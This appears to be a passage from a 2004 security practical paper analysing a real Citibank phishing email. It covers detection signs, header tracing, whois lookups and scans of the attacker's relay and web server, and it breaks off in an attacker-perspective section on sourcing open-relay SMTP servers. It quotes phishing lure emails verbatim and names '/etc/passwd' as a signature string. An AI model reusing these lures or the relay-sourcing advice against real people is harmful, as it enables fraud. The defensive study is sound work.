Mail.sample-organization.org will only receive email with from *@sample-organization.org. Asterisk is a wildcard, usually is an account name. When a spammer tries to use this server to send email from support@citibank.com, the server will reject the request, as it is not servicing that domain.

Misconfigured configuration:
Mail.sample-organization.org will receive email from any domain in from field. This allows spammer to spoof email and send it to anywhere. The vulnerability is one element exploited by phishing attacks.

**Phishing Attack Email Sender Analysis**

![Pie chart showing the distribution of phishing sender types]

Figure 13 Source of Phishing Email Sender

The above chart is quoted from Anti-Phishing Working Group. It shows that 92% of email sent by spoofed senders (by way of open relays). While only 7% come from web mails that are easily created but does not normally resemble spoofed organization. The last one that is rather interesting is by way of full social engineering. One example of this kind of domain is verify-visa.com, so spoofed email would look very convincing such as support@verify-visa.com

After a victim convinced and proceed with the attack, they will fill up form with their confidential information. This information is posted to a local resource on attacker webserver. The webserver can be those that are compromised and rooted, or it can be specifically prepared to facilitate and store phishing attack.
Phishing attacks do not always use technical vulnerabilities, but instead they use social engineering and/or psychological factor. Let’s examine a number of psychological factors in phishing attacks:

1. Obligation
   The attacker is trying to induce a feeling of obligation from victim. Phishing emails that normally request for personal information update belong to this category.

   A few samples of phishing in this category are:
   a. 20.08.2004 – Suntrust – suntrust.com Urgent Update
   b. 19.08.2004 – Well Fargo – Notice Wells Fargo Internet online Account record update.
   c. 13.08.2004 – PayPal – Customer Service

2. Pressure
   This category belongs to those contents that induce panic and reduce alertness or common sense of victims. The contents are marked as urgent with threatening situations, such as Unauthorized access has been attempted, or Account is locked or suspended.

   A few samples of phishing in this category are:
   b. 03.08.2004 – U.S. Bank – Online Banking issue
   c. 26.07.2004 – EBay – Your account at eBay has been suspended
Exploit/Attack Signatures

Phishing is different from other vulnerabilities that are easily identified by their signatures. For example, an attempt to get user password in Unix system would be easily identifiable by string ‘/etc/passwd’. As phishing is a social engineering, and based on common sense, signature-based IDS will not be able to detect it. There is possibility that behavior-based IDS will be able to detect such anomaly where message contains personal account information and some misspelling.

Challenges in identifying and eradication of phishing attacks are described in Financial Services Technology Consortium (FSTC) Counter-Phishing initiative project prospectus.\textsuperscript{30}

1. It is a type of fraud that use sophisticated technology basis. Many technologies involved in phishing making it difficult to single out.

2. Phishing is dynamic by nature
   Different than other technical attacks, phishing is a dynamic attack. It is more of methodology just like reconnaissance that develops over the time. As it is dynamic, a signature-based identification will not be effective. Even if in the future it can be identified, it will still vulnerable of 0-day attacks.

3. Phishing is likely to be organized and executed by talented criminals. Unlike most of technical attacks, phishing requires strategy rather than vulnerability itself. It exploits people, in addition to information system, than information system alone.

4. Phishing vulnerabilities and solutions have substantial infrastructure components.
   Phishing will stay as long the infrastructure allows it to grow. For example, Spam has been a major infrastructure component for phishing, and as long spam is not eradicated, it will continue to facilitate phishing. Once spam has been reduced or eradicated, we should see the corresponding trend of phishing attack to go down. This is valid for other components such as collaboration between ISPs, legal enforcement, and organizations.

5. Phishing is an attack on customer trust in the brand
   Customers trust brand, sometimes more than they should. Therefore, phishing exploits this implicit trust to follow phishers instruction. Users education has been difficult due to the size, passive involvement and interest from users.

6. The business case for action can be tangible and intangible.
Financial organizations still consider the dollar lost at today is not significant. Therefore, the initiative to overcome phishing is not started at optimum rate. Business case/cost justification has not been clearly made.

7. Enforcement is extremely difficult
Without sets of established policy, ubiquitous cyber-law and answer to currents issues like spam, enforcement is extremely difficult. All the underlying issues have to be taken care before phishing can be reduce or eradicated.

Snort does not have any signatures registered in its database for any CVE described earlier. Therefore, we should focus on identification of phishing by hand.

A phishing email would normally identifiable by the following characteristics:
1. Misspelled words
2. Bad grammar
3. Suspicious contents
4. Social engineering by pressure and obligation
5. No disclaimer or consumer advice to prevent phishing at end of email
6. On mouse focus, does not show the same URL as displayed
7. Source code shows exploits or malicious scripts
8. For a very important warning and urgent request, it is not digitally signed
9. Ask for all information that allows recipient of that information to identify/repudiate oneself to financial institution.
10. Emails are not specifically sent to recipients. The To: field is either empty or sent to other addresses.
11. Financial and other organizations have liabilities of due-care, they will never ask confidential information via insecure means. This mean anything but SSL-encrypted web with valid certificate should not be trusted.

We should analyze a number of published phishing email example from Anti-Phishing Working group archive, and apply the ‘detection/sign’ above to detect phishing.
Example 1: SunTrust.com

Security key: mejqg0ambhi

Dear Suntrust.com Customer,

During our regular update and verification of the Internet Banking Accounts, we could not verify your current information. Either your information has been changed or incomplete, as a result your access to use our services has been limited. Please update your information.

To update your account information and start using our services please click on the link below: https://mysolutions.suntrust.com/authfiles/checking/verify.asp

AFTER SUBMITTING, PLEASE DO NOT ACCESS YOUR ONLINE BANKING ACCOUNT FOR THE NEXT 48 HOURS UNTIL THE VERIFICATION PROCESS ENDS.

Note: Requests for information will be initiated by Suntrust Business Development; this process cannot be externally requested through Customer Support.

Sincerely,
Suntrust.com
Security Department

Figure 15 Phishing attack on SunTrust.com.31

Applicable signs for the above attack are:

1. Suspicious content
2. Social engineering by pressure and obligation
3. No disclaimer or consumer advice to prevent phishing at end of email
4. On mouse focus, does not show the same URL as displayed
5. Source code shows exploits or malicious scripts
6. For a very important warning and urgent request, it is not digitally signed
7. Ask for all information that allows recipient of that information to identify/repudiate oneself to financial institution.
Example 2: eBay

Dear eBay User,

During our regular update and verification of the accounts, we couldn't verify your current information. Either your information has changed or it is incomplete. Please update and verify your information by signing in to your account below.

If the account information is not updated to current information within 5 days then, your access to bid or buy on eBay will be restricted.

Please click HERE to complete the information.

***Please Do Not Reply To This E-Mail As You Will Not Receive A Response***

Thank you,

Account Manager

As outlined in our User Agreement, eBay will periodically send you information about site changes and enhancements. Visit our Privacy Policy and User Agreement if you have any questions.

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designated trademarks and brands are the property of their respective owners.
eBay and the eBay logo are trademarks of eBay Inc.

Figure 16 eBay Phishing Email

Learn More to protect yourself from spoof (fake) e-mails.
eBay sent this e-mail to you because your Notification Preferences indicate that you want to receive information about Special Events & Promotions.
eBay will not request personal data (password, credit card/bank number) in an e-mail.
You are subscribed at Registered on eBay

If you do not wish to receive further communications, sign into "My eBay" by clicking on the "My eBay" link found at the top of the eBay home page and change your Notification Preferences. Or, simply reply to this email with UNSUBSCRIBE in the subject line.

Please note that it may take up to 10 days to process your request.

Visit our Privacy Policy and User Agreement if you have any questions.

Figure 17 Legitimate Email from Ebay contains warnings
Leonard Ong  Exploit Details

Figure 18 Spoofed eBay phishing web form
Applicable sign for the above attacks are:

1. Suspicious content
2. Social engineering by pressure and obligation
3. No disclaimer or consumer advice to prevent phishing at end of email
4. For a very important warning and urgent request, it is not digitally signed
5. Ask for all information that allows recipient of that information to identify/repudiate oneself to financial institution.

Example 3: Citibank.com

This is a phishing email that I have received personally and will be discussed in great detail in next section. The email would have some characteristics that are not found on previous two examples.

![Phishing email to Citibank Customer](Figure 19)
Detection signs from the example above are:
1. Misspelled words
2. Bad grammar
3. Suspicious contents
4. Social engineering by pressure and obligation
5. No disclaimer or consumer advice to prevent phishing at end of email
6. On mouse focus, does not show the same URL as displayed
7. For a very important warning and urgent request, it is not digitally signed
8. Ask for all information that allows recipient of that information to identify/repudiate oneself to financial institution.
9. Financial and other organizations have liabilities of due-care, they will never ask confidential information via insecure means. This mean anything but SSL-encrypted web with valid certificate should not be trusted.

Detection is very easy with this example. The grammar may make sense with a fast reading, but with closer look it contains many errors. The third octet of IP address quoted, is invalid (.287, max is .255). The title brings suspicions as they use abbreviations. The content would not make sense, as banks will normally limit incorrect logins before locking up an account, so brute-force attack would not be a choice by crackers. Even if they do use brute-force, it will be locked and manual authorization (by signature) is required to reactivate the account.
Platforms/Environments

Phishing is a powerful attack, as it attacks on human common sense rather than computer systems. Therefore, the attack can be launched, as long there is human interaction. Although it can be done throughout different methods e.g. phone calls, Web page and emails, only email is the preferred point of entry. Web pages would be normally being the point of execution.

We will take a greater look on how the attacker executed their phishing attack on 4\textsuperscript{th} August 2004. This is a real example and investigation. Although Victim-candidate network is obfuscated, it will be interesting to understand the real attack investigation.

**Victim's Platform**

The Victim-candidate is a normal business user in a Multi-National Company network setup. It is running a Windows 2000 with SP4, protected with Symantec Antivirus Corporate Edition and Corporate personal firewall. All patches are up-to-date, and changes can be pushed through a remote administration module.

There is no direct access to Internet, and all connections should go through proxy server. Network Address Translation (RFC 1918) protects the user from getting inbound connection from Internet directly. Personal firewall and Antivirus protects users from getting infected by viruses and worms, and from becoming a DDoS agent (Distributed Denial of Service). Personal firewall will be able to detect the present of current network (Intranet, Internet, or VPN connection), and activate the corresponding profile. It will block outbound connections that look like worm activities e.g. rapid ICMP packets, dangerous ports (worms propagation ports), insecure protocols (TFTP, etc). Therefore, Victim computer system is following best practices by observing due-care and proper prevention.

For investigation purposes, a connection to Internet is required. The same system configuration is connected to an ADSL router with direct Internet Access. It is still protected by NAT from ADSL router, Personal firewall and Antivirus during investigation.

The IP address assigned was 10.0.0.5, with Gateway 10.0.0.2.
Source Network (Attacker)

The attacker uses two servers to execute the phishing attack:

1) SMTP Server

   The role of this server is to send spoofed phishing email to victims. Emails were sent with *From: Ext Support [citisafe@Citibank.com]*. This indicated that open relaying was enabled on this server allowing it to send emails from domain Citibank.com. Sample of Phishing email can be found on Figure 19.

In order to discover the source of spoofed email, we need to examine phishing email header with great care. The headers are real examples, except some internal SMTP headers have been removed. Please note that Victim’s email servers have been replaced with x.x.x.x.

(snipped – Internal SMTP server headers for confidentiality reasons)

Received: from mail1.external.organization.org (x.x.x.x)  
   by mail1.internal.organization.org; Tue, 03 Aug 2004 21:53:13 EEST  
Received: from mail1.external.organization.org (218.51.6.47)  
   by mail1.internal.organization.org with SMTP id i73Ir3N14387;  
   Tue, 3 Aug 2004 21:53:05 +0300 (EET DST)  
X-Message-Info: AGDMqDT6vKUalm69Lfi1+LADUv2wEDCL  
   (The section above allows us to see the real IP of spam server, notice it mimics DNS name of receiving server)  
Received: from imnvrjhd45.cox.net ([216.192.222.217]) by xh76-y10.hotmail.com with  
   Microsoft SMTPSVC(5.0.2195.6824);  
   Tue, 03 Aug 2004 12:33:51 -0700  
Received: from Dannyf76h0lrw9i ([54.56.32.20]) by uplmkapa37.cox.net  
   (InterMail vM.5.01.06.05 201-253-122-130-105-7793823) with SMTP  
   id <82390358565383.WVP4885.fywnm7ai18.cox.net@heraq28r1xts8x>  
   for <victim@organization.org>; Wed, 04 Aug 2004 00:28:51 +0500  
(Bogus email header to obfuscate real spam server)

Message-ID: <614962u1f893$51980371$hf6m1120@Dannyw30v2tig6n>  
From: "ext Support" <citisafe@citibank.com>  
To: <victim@organization.org>  
Subject: Attn: Security Update!Act Now  
Date: Tue, 03 Aug 2004 16:35:51 -0300  
MIME-Version: 1.0  
Content-Type: multipart/alternative;  
   boundary="--5853155956197200823"  
Return-Path: citisafe@citibank.com  
X-OriginalArrivalTime: 03 Aug 2004 18:54:58.0836 (UTC)  
FILETIME=[5FD3FD40:01C4798B]  
(Details on original message time information and other details)

Information that can be drawn from this header:
1. Email were received by victim on: Wed, 04/08/2004 – 19:36:00 GMT
2. Email were sent by attacker on: Tue, 03/08/2004 – 18:54:58 GMT
3. Source and reply email addresses are citisafe@citibank.com
4. Email were sent specifically to victim email address
5. Subject was not written in business and formal manner (with abbreviations)
6. Two spoofed headers with hotmail.com and cox.net to further obfuscate spam origin.
7. Victim organization email server received the message from 218.51.6.47. SMTP requires TCP protocol, meaning that IP spoofing is unlikely.

The email header above gave us details about where the phishing email came from. It took about 41 minutes for the email to reach the victim, and the simple header looked convincing with explicit To: and From:. The first sign of phishing is seen on the subject where abbreviation and a missing space are used. There are also two sections of header to obfuscate the spam server by adding cox.net and hotmail.com servers. Unfortunately, these are bogus hosts and are not resolvable. The header chains did not tally in these two bogus headers. In addition, Hotmail always add a line to identify IP address of origin.

Further verification revealed that the Spam SMTP server has been blacklisted on several repositories. One of repositories is CBL.

![CBL Lookup Utility](image)

Figure 20 Spam SMTP has been blacklisted on CBL

For verification of the information we have concluded above, the complete email were sent to SpamCop for automated analysis. Manual investigation was carried out prior to SpamCop analysis.
The analysis can be found below:\textsuperscript{34}

<table>
<thead>
<tr>
<th>SpamCop v 1.367 (c) SpamCop.net, Inc. 1998-2004 All Rights Reserved</th>
</tr>
</thead>
</table>

Spam Header

This page may be saved for future reference:

(snipped, URL for retrieval)

Skip to Reports

(snipped, Internal headers)

Received: from imnrjhd45.cox.net ([216.192.222.217]) by xh76-y10.hotmail.com with Microsoft SMTPSVC(5.0.2195.6824);
Tue, 03 Aug 2004 12:33:51 -0700

Received: from Dannyf76h0lnw9i ([54.56.32.20]) by uplmkapa37.cox.net
(InterMail vM.5.01.06.05 201-253-122-130-105-7793823) with SMTP
id <82390358565383.WVKP4885.fywnmrmaj18.cox.net@heraq28r1xts8x>
for <x>; Wed, 04 Aug 2004 00:28:51 +0500

(Bogus headers)

Message-ID: <6149______________________1120@Dannyw30v2tlg6n>
From: "ext Support" <citisafe@citibank.com>
To: <x>
Subject: Attn: Security Update!Act Now
Date: Tue, 03 Aug 2004 16:35:51 -0300
MIME-Version: 1.0
Content-Type: multipart/alternative;
  boundary="--585315595619700823"
Return-Path: citisafe@citibank.com
X-OriginalArrivalTime: 03 Aug 2004 18:54:58.0836 (UTC)
FILETIME=[5FD3FD40:01C4798B]
View entire message
Parsing header:

(snipped, Internal header)
x.x.x.x discarded

(snipped, Internal header)
x.x.x.x discarded

(snipped, Internal header)
x.x.x.x discarded

(snipped, Internal header)
ignored
Ignored

(snipped, Internal header)
x.x.x.x accepted, possible spammer
Leonard Ong  Platforms / Environments

Received: from x.x.x.x ([218.51.6.47]) by mail1.external.organization.org with SMTP id i73ir3N14387; Tue, 3 Aug 2004 21:53:05 +0300 (EET DST)
218.51.6.47 found
host 218.51.6.47 (getting name) no name
x.x.x.x not listed in dnsbl.njabl.org
x.x.x.x not listed in cbl.abuseat.org
x.x.x.x not listed in dnsbl.sorbs.net
x.x.x.x is an MX for organization.org
Possible spammer: 218.51.6.47
host mail1.external.organization.org (checking ip) = x.x.x.x
x.x.x.x not listed in dnsbl.njabl.org
x.x.x.x not listed in cbl.abuseat.org
x.x.x.x not listed in dnsbl.sorbs.net
  Chain test:mail1.external.organization.org =? mail1.external.organization.org
    mail1.external.organization.org and mail1.external.organization.org - chain verified
Possible relay: x.x.x.x
x.x.x.x not listed in relays.oradb.org,
x.x.x.x has already been sent to relay testers
Received line accepted

Received: from imnvrjhd45.cox.net ([216.192.222.217]) by xh76-y10.hotmail.com with
Microsoft SMPTSV(5.0.2195.6824); Tue, 03 Aug 2004 12:33:51 -0700
216.192.222.217 found
host 216.192.222.217 (getting name) = atl-qbu-zpg-vty217.as.wcom.net.
host atl-qbu-zpg-vty217.as.wcom.net (checking ip) = 216.192.222.217
218.51.6.47 not listed in dnsbl.njabl.org
218.51.6.47 listed in cbl.abuseat.org ( 127.0.0.2 )
Open proxies untrusted as relays

Tracking message source: 218.51.6.47:
Routing details for 218.51.6.47:
[refresh/show] Cached whois for 218.51.6.47 : abuse@hanaro.com ip-
adm@hanaro.com
abuse@hanaro.com redirects to nospam@hanaro.com
Using best contacts nospam@hanaro.com
Can't parse date of spam for age detection: Tue, 03 Aug 2004 21:53:13 EEST
Yum, this spam is fresh!
Message is old
218.51.6.47 not listed in dnsbl.njabl.org
218.51.6.47 not listed in dnsbl.njabl.org
218.51.6.47 listed in cbl.abuseat.org ( 127.0.0.2 )
218.51.6.47 is an open proxy
218.51.6.47 not listed in query.bondedsender.org
218.51.6.47 not listed in iadb.isipp.com

Finding links in message body
Parsing text part

erorr: couldn't parse head
Message body parser requires full, accurate copy of message
More information on this error..
no links found
As we have verified the IP address of the spam SMTP server, we should get more information about the server itself. This would include where is it geographically hosted, what kind of system running on this host and so on. Whois is just the right tool for this task. IP registrars maintain whois databases. The main registrars are RIPE for Europe, ARIN for America, and APNIC for Asia. These registrars may delegate portions of their subnets to next level registrars on country levels.

Result of APNIC query on 218.51.6.47:

| inetnum: 218.51.6.0 - 218.51.6.255 |
| netname: HANANET-INFRA-KR |
| descr: Hanaro Telecom Inc. |
| descr: Shindongah Bldg., 43 Taepyeongno2-Ga Jung-Gu |
| descr: SEOUL |
| descr: 100-733 |
| country: KR |
| admin-c: IA36910-KR |
| tech-c: IM36927-KR |
| remarks: This IP address space has been allocated to KRNIC. |
| remarks: For more information, using KRNIC Whois Database |
| remarks: whois -h whois.nic.or.kr |
| mnt-by: MNT-KRNIC-AP |
| remarks: This information has been partially mirrored by APNIC from |
| remarks: KRNIC. To obtain more specific information, please use the |
| remarks: KRNIC whois server at whois.krnic.net. |
| changed: hostmaster@nic.or.kr 20040802 |
| source: KRNIC |

person: IP Administrator |
| descr: Hanaro Telecom Inc. |
| descr: Shindongah Bldg., 43 Taepyeongno2-Ga Jung-Gu |
| descr: SEOUL |
| descr: 100-733 |
| country: KR |
| phone: +82-2-106-2 |
| fax-no: +82-2-6266-6483 |
| e-mail: ip-adm@hanaro.com |
| nic-hdl: IA36910-KR |
There, we found the IP came from Korea – Hanaro Telecom. The company provides Internet connectivity services to residential and business.

Last but not the least, we should get some information from the Spam server itself. Reconnaissance/fingerprinting tools can do this. For this investigation LanGuard Network Security Scanner v5.0 will be used.

```
Starting security scan of host BELLINI[218.51.6.47]...
Time: 3:46:38 PM
```

```
-->Failed to connect (67) The network name cannot be found.
```

```
SMB probing ...
Connecting ...(1/6)
Name "BELLINI" encoded as "ECEFEMEJEOJACACACACACACACAC" 
```

```
----- (sent 76 bytes)  
81 00 00 48 20 45 43 45 46 45 4D 45 4D 45 4A 45 ...H ECEFEMEJE
4F 45 4A 43 41 43 41 43 41 43 43 41 43 43 43 43 OJECAACACACAC
41 43 41 43 41 00 20 43 41 43 43 41 43 43 43 43 ACACA, CACACACAC
41 43 41 43 41 43 41 43 41 43 41 43 43 43 43 43 ACACACACACACACACACAC
41 43 41 43 41 41 00 00 00 00 00 ACACAAA.....
```
<table>
<thead>
<tr>
<th>Session established.(2/6)</th>
<th>Security mode : user</th>
</tr>
</thead>
<tbody>
<tr>
<td>--&gt; (sent 84 bytes)</td>
<td>Protocol negotiated.(3/6)</td>
</tr>
<tr>
<td>--------------------</td>
<td>------------------------</td>
</tr>
<tr>
<td>00 00 00 A4 FF 53 4D 42 72 00 00 00 00 00 00 00 00 00 00 ED 18</td>
<td>...k.SMBr......</td>
</tr>
<tr>
<td>00 00 51 19 11 06 00 03 0A 00 01 00 04 11 00 00</td>
<td>...Q.........</td>
</tr>
<tr>
<td>00 00 01 00 00 00 00 00 FD E3 00 00 E0 6E 12 35</td>
<td>..........n.5</td>
</tr>
<tr>
<td>F7 79 C4 01 E4 FD 08 26 00 61 95 03 9F 50 7B 9E</td>
<td>.y.....&amp;.a...P..</td>
</tr>
<tr>
<td>DF 4D 00 53</td>
<td>..M.S</td>
</tr>
<tr>
<td>Operating system : Windows XP</td>
<td></td>
</tr>
<tr>
<td>Domain : MSHOME</td>
<td></td>
</tr>
<tr>
<td>LAN manager : Windows 2000 LAN Manager</td>
<td></td>
</tr>
<tr>
<td>NULL session established.(4/6)</td>
<td>2000 LAN Manager</td>
</tr>
<tr>
<td>--&gt; (sent 68 bytes)</td>
<td>r.MS</td>
</tr>
<tr>
<td>00 00 00 40 FF 53 4D 42 75 00 00 00 00 00 18 01 20</td>
<td><a href="mailto:...@.SMBu">...@.SMBu</a>......</td>
</tr>
<tr>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>...</td>
</tr>
</tbody>
</table>
<------ (received 50 bytes)
00 00 00 2E FF 53 4D 42 75 00 00 00 00 98 01 20 ....SMBu......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 28 ..........( 
00 08 00 00 03 FF 00 2E 00 01 00 05 00 49 50 43 ..........IPC
00 00 ..

Connected to IPC$.(5/6)

------> (sent 84 bytes)
00 00 00 5F FF 53 4D 42 25 00 00 00 00 18 01 20 ...._.SMB%......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 28 ..........( 
00 08 00 00 0E 13 00 00 00 04 FF FF 00 00 00 .......... 
00 00 00 00 00 00 13 00 4C 00 00 00 5F 00 00 ........L...
00 20 00 5C 50 49 50 45 5C 4C 41 4E 4D 41 4E 00 . \PIPE\LANMAN.
00 00 57 72 ....Wr

<------ (received 39 bytes)
00 00 00 23 FF 53 4D 42 25 01 00 08 00 98 01 20 ...#.SMB%......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 28 ..........( 
00 08 00 00 00 00 .........

Collecting Windows OS Information...
  Read server info...
  -->Error (53)  The network path was not found.
  Read PDC ...
  Read BDC ...
  Enumerate trusted domains ...
  -->Error (-1073610729)  The RPC server is unavailable.
  Enumerate shares ...
  -->Error (53)  The network path was not found.
  Enumerate groups ...
  -->Error (1722)  The RPC server is unavailable.
  Enumerate users ...
  -->Error (53)  The network path was not found.
  Enumerate sessions ...
  -->Error (53)  The network path was not found.
  Enumerate services ...
  -->Error (1722)  The RPC server is unavailable.
  Enumerate network transports ...
  -->Error (53)  The network path was not found.
  Enumerate remote processes ...
  -->Error (5)  Access is denied.
  Enumerate drives ...
  -->Error (53)  The network path was not found.
  Read remote time of day ...
  -->Error (53)  The network path was not found.
  Read password policy ...
  -->Error (53)  The network path was not found.
  Connect to remote registry ...
  Could not connect to remote registry
  Check security audit policy ...
  -->Error (7)  Failed to open policy on the remote system.
Server runs on Windows XP with some default settings. Null session was available and machine was named ‘BELLINI’. Insecure setting could indicate that workstation did not have proper protection and vulnerable for take-over from malicious hackers. Looking at the fact that default settings were present, null session enabled, and computer was given name, this indicate the server most likely compromised by the real attacker.

2) Web Server

Outlook view of the email did not reveal the real URL being called to. In order to see the real URL behind the link, we could either view the source or save it as HTML file and view it in a browser.

We could now see that the real URL is http://222.223.128.32 and there is no attempt to use any technical exploit. It is relying on Microsoft outlook being not able to show real URL in email screen.
Once the IP address has been identified, further verification need to be done. As previously shown, we need to know where is this IP address belongs to (geographically) and what is running on that server.

Result from APNIC Whois:

```
% [whois.apnic.net node-1]
% Whois data copyright terms  http://www.apnic.net/db/dbcopyright.html

inetnum:      222.222.0.0 - 222.223.255.255
netname:      CHINATELECOM-HE
descr:        CHINANET hebei province network
descr:        China Telecom
descr:        No.31,jingrong street
descr:        Beijing 100032
country:      CN
admin-c:      CH93-AP
tech-c:       BR3-AP
mnt-by:       APNIC-HM
mnt-lower:    MAINT-CHINATELECOM-HE
mnt-routes:   MAINT-CHINATELECOM-HE
status:       ALLOCATED PORTABLE
remarks:      -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
remarks:      This object can only be updated by APNIC hostmasters.
remarks:      To update this object, please contact APNIC
remarks:      hostmasters and include your organisation's account
remarks:      name in the subject line.
remarks:      -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
changed:      hm-changed@apnic.net  20040428
source:       APNIC

person:       Chinanet Hostmaster
address:      No.31 ,jingrong street,beijing
address:      100032
country:      CN
phone:        +86-10-66027112
fax-no:       +86-10-58501144
e-mail:       hostmaster@ns.chinanet.cn.net
e-mail:       anti-spam@ns.chinanet.cn.net
nic-hdl:      CH93-AP
mnt-by:       MAINT-CHINANET
changed:      hostmaster@ns.chinanet.cn.net 20021016
remarks:      hostmaster is not for spam complaint,please send spam complaint to anti-spam@ns.chinanet.cn.net
source:       APNIC

person:       Bin Ren
nic-hdl:      BR3-AP
e-mail:       renbin@mail.he.cn
address:      10F Ximei Building NO.6 Jianshe South Street
address:      Shijiazhuang 050011 China
phone:        +86-311-5211551
fax-no:       +86-311-5211578
country:      CN
```

Web server is hosted in China – China Telecom. It is becoming more relevant with the email content that has grammatical errors. This information is not sufficient to give us further clues on the server. Further information can be obtained by fingerprinting the server.

Result from LanGuard Security Scanner v5.0:

```
STARTING SECURITY SCAN FOR MACHINE/RANGE: 222.223.128.32
Profile: Default

Validating targets...
Building computers list...
Resolving hosts...
Netbios discovery...

--------> (sent 50 bytes)
01 F8 00 00 00 01 00 00 00 00 00 00 20 43 4B 41 ......... CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 !AAAAA
00 01 ..

Done sending, waiting for responses ...
SNMP discovery...
  Community string: public
Done sending, waiting for responses ...
ICMP sweep ... (PING!)
Done sending, waiting for responses ...
Discovery based on specified ports...
Adding non responsive computers...
Adding 222.223.128.32
Resolving host names...
1 Computer(s) found.

Starting security scan of host [222.223.128.32]...
Time: 3:37:41 PM

Collecting Windows OS Information...
Starting port scanning...
  TCP scanning started...
    0 TCP open port(s)
  UDP scanning started...
```
The server was configured to be stealthy. It was interesting that while it is responding to http calls from phishing email, but it was not detectable by the tool. There was no open ports detected, and OS fingerprinting failed. Scanning profile is modified a bit to allow host discovery by HTTP (TCP port 80) and the result is:

---

STARTING SECURITY SCAN FOR MACHINE/RANGE: 222.223.128.32
Profile: Default
---

Validating targets...
  Building computers list...
  Resolving hosts...
  Netbios discovery...

-----> (sent 50 bytes)
  01 F8 00 00 00 01 00 00 00 00 00 00 00 20 43 41
  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
  41 41 41 41 41 41 41 41 41 41 41 41 41 00 21
  00 01

Done sending, waiting for responses ...
SNMP discovery...
  Community string: public
Done sending, waiting for responses ...
ICMP sweep ... (PING!)
Done sending, waiting for responses ...
Discovery based on specified ports...

Reply from 222.223.128.32 on port 80
---
The second scan did not give us significant information either, except that a host has been detected and it is responding to HTTP calls. Bare-bone reconnaissance techniques sometimes are forgotten as investigators focuses on more complex and advanced tools. We are going to use one of these bare-bone techniques to gain valuable information.

Keep it simple
As the IP address has been identified, we could just type the IP in our browser and see what’s the main page display was.

![Fedora Core Test Page]

This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page, it means that the Apache HTTP server installed at this site is working properly.

If you are a member of the general public:

The fact that you are seeing this page indicates that the website you just visited is either experiencing problems, or is undergoing routine maintenance.

If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name "webmaster" and directed to the website's domain should reach the appropriate person.

For example, if you experienced problems while visiting www.example.com, you should send e-mail to "webmaster@example.com".

For information on Fedora Core, please visit the Fedora Project website.

If you are the website administrator:

You may now add content to the directory /var/www/html/. Note that until you do so, people visiting your website will see this page, and not your content. To prevent this page from ever being used, follow the instructions in the file /etc/httpd/conf.d/warn.conf.

You are free to use the image below on Apache and Fedora Core powered HTTP servers. Thanks for using Apache and Fedora Core!

![Powered by Apache 2.0]

When a commercial security tool failed to fingerprint a server, which the hacker has done a very good work in making it stealthy, simple way worked. The server was running on Redhat Linux (Fedora) Operating System and Apache 2.0.47 is the web server. This information combined with previous scan results tell us that server was intentionally configured to be stealth, which likely belongs to the attacker. It is unlikely to be a compromised server, as huge changes are needed to reconfigure default setting into stealth condition.
In summary, we know that the attacker used two different computer systems and networks to launch the attack. One would be a compromised server that runs open-relay SMTP server, and the other belongs to the attacker. Both servers are hosted in Asia (Korea and China), the email content contains grammatical errors implying the attacker's first language is definitely not English. The time when the emails were sent was around 3 AM (GMT +8, the common Asia time zone), again outside Asia Pacific business hours. Hackers are unlikely to attack during business hours, and the fact that they might have a real life during those productive hours.

**Target Network**

Target network is a normal Multi-national company with clear separation for Intranet, Extranet and Remote access. Protections with logical access control devices are sufficient for example, Signature-based IDS, Firewall, Router with Anti-Spoofing access-lists, and so on. The mail architecture was designed with security concern that SMTP servers are divided into Internal and External servers. External mail server receives emails from Internet and sends out emails to Internet. While Internal mail server receives external emails from External mail server and route internal emails. With this setup, user mailboxes are not accessible directly by external parties, but only from Internal employees in Intranet. External email server does not store any information except for message spooling / queue.

Unfortunately with Phishing attacks, infrastructure security can be bypassed very easily. Firewalls are ineffective as SMTP ports are always open to receive and send emails. Personal firewall will have the same weaknesses as firewalls are. Proxy server will not be able to filter anything within HTTP well-known ports. Content filtering will not be able to do much, as there is no definition for phishing attacks. If there are known script that can be triggered on IDS or content filtering server, it will not do any good for pure social engineering phishing attacks like our example above.

From technical infrastructure point of view, the setup should provide good protection towards common intrusion and attacks.

Users from the organization are like any other business users, who have not been educated on phishing or information security. Although there has been security awareness training, phishing is not specifically discussed. There is also no regular security awareness training. The only training related to security awareness is integrated in induction briefing upon joining the organization.
Based on investigation on source of attack, we have gathered a number of valuable information. This information forms the above network diagram for illustration. The limitation of this network diagram is that, it will not be in detailed as per real-life situation. Fortunately, it is sufficient enough to depict the flow of attack that we will discuss in Stages of Attack section ahead.
Stages of the Attack

In this section, we will reverse our mindset from investigators to attackers. Now we are trying to be and think as an attacker in this real-life scenario. We will study, in details, how attack is executed and covering the attack. In each stage, there will two sub-section, one for SMTP server and another for victims. We will also look on how to enhance phishing attacks than the one we have received.

Reconnaissance

1. SMTP Server
   In this phase, an attacker can use web search engines to get list of open relay SMTP servers to launch phishing attack. Successful reconnaissance of open relay SMTP server may allow the attacker to bypass scanning phase for this part.

   Open-relay SMTP server allows an attacker to spoof sender email address and send it to victims. Although most spam is harmless, phishing can have dire consequences for victims and their organizations.

   There are a number of sites that maintain lists of open-relay SMTP servers. These can be servers that are misconfigured, compromised to be open-relay, or intentionally configured as open relay.

   For shorter time of attack, an attacker can choose to find an open-relay SMTP server from web resources. These sites can be found on search engines, and some of them are:
   - http://www.openrelaycheck.com/
     The site offers 5000+ open relay servers for USD$ 199/6 months. It also display few numbers of open relay server for public as preview.
   - http://www.mail-abuse.com/services/mds_rblms.html
     Another commercial site that offers real-time black hole list. Although it can be put into a good use, it can also be a source for spamming. Price starts from US$ 500
     Provide a list of open relays repositories
   - Search engines
     Search engines are attacker friend as it sometimes indexed and cached confidential information.
   - IRC channels
     Just like credit card information being traded, SMTP relays are being traded as well.
2. Victim
